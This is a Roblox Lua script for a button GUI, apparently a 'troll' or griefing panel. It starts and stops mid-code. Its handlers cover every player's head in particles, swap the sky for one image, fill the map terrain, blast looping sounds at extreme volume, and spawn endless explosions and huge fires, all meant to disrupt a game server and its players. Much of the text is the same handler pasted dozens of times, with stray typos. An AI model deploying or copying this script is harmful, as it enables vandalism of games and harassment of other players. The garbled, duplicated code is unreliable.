emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head818 emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) function click() s = Instance.new("Sky") s.Name = "Sky" s.Parent = game:GetService("Lighting") s.SkyboxBk = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxDn = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxFt = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxLf = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxRt = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxUp = "http://www.roblox.com/asset/?id=111604272791927" game:GetService("Lighting").TimeOfDay = 12 end script.Parent.MouseButton1Down:connect(click) ---MADE BY 777ILILO PLZ DO NOT SKID IT IM SCRIPTING THIS RN ON 2 AM :SOB: end; task.spawn(C_b); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_d() local script = G2L["d"]; function click() Game.Workspace.Terrain:SetCells(Region3int16.new(Vector3int16.new(-100,-100,-100), Vector3int16.new(100,100,100)), 17, "Solid", "X") end script.Parent.MouseButton1Down:connect(click) end; task.spawn(C_d); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_f() local script = G2L["f"]; script.Parent.MouseButton1Click:Connect(function() for i,v in next,workspace:children''do if(v:IsA'BasePart')then me=v; bbg=Instance.new('BillboardGui',me); bbg.Name='stuf'; bbg.Adornee=me; bbg.Size=UDim2.new(2.5,0,2.5,0) --bbg.StudsOffset=Vector3.new(0,2,0) tlb=Instance.new'TextLabel'; tlb.Text=''; tlb.Font='SourceSansBold'; tlb.FontSize='Size48'; tlb.TextColor3=Color3.new(1, 0.933333, 0); tlb.Size=UDim2.new(1.25,0,1.25,0); tlb.Position=UDim2.new(-0.125,-22,-1.1,0); tlb.BackgroundTransparency=1; tlb.Parent=bbg; end;end; function xds(dd) for i,v in next,dd:children''do if(v:IsA'BasePart')then v.BrickColor=BrickColor.new'Really black'; v.TopSurface='Smooth'; v.BottomSurface='Smooth'; s=Instance.new('SelectionBox',v); s.Adornee=v; s.Color=BrickColor.new'Fire Yellow'; a=Instance.new('PointLight',v); a.Color=Color3.new(1, 0.968627, 0); a.Range=15; a.Brightness=5; end; local dec = 'http://www.roblox.com/asset/?id=19399245'; local fac = {'Front', 'Back', 'Left', 'Right', 'Top', 'Bottom'} --coroutine.wrap(function() --for ,_ in pairs(fac) do --local ddec = Instance.new("Decal", v) --ddec.Face = --ddec.Texture = dec --end end)() if #(v:GetChildren())>0 then xds(v) end end end xds(game.Workspace) end) end; task.spawn(C_f); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_11() local script = G2L["11"]; function onClick() local uhmye = Instance.new("Sound") uhmye.Parent = game:GetService("Workspace") uhmye.SoundId = "rbxassetid://8260658079" uhmye.Playing = true uhmye.Looped = true uhmye.Volume = 99999999999999999 end script.Parent.MouseButton1Down:connect(onClick) end; task.spawn(C_11); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_13() local script = G2L["13"]; function onClick() local tubers93 = Instance.new("Sound") tubers93.Parent = game:GetService("Workspace") tubers93.SoundId = "rbxassetid://6129291390" tubers93.Playing = true tubers93.Looped = false tubers93.Volume = 99999999999999999 end script.Parent.MouseButton1Down:connect(onClick) end; task.spawn(C_13); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_15() local script = G2L["15"]; script.Parent.MouseButton1Down:Connect(function() while true do explosion = Instance.new("Explosion") explosion.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) explosion.Parent = game.Workspace wait() end end) end; task.spawn(C_15); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_17() local script = G2L["17"]; script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part 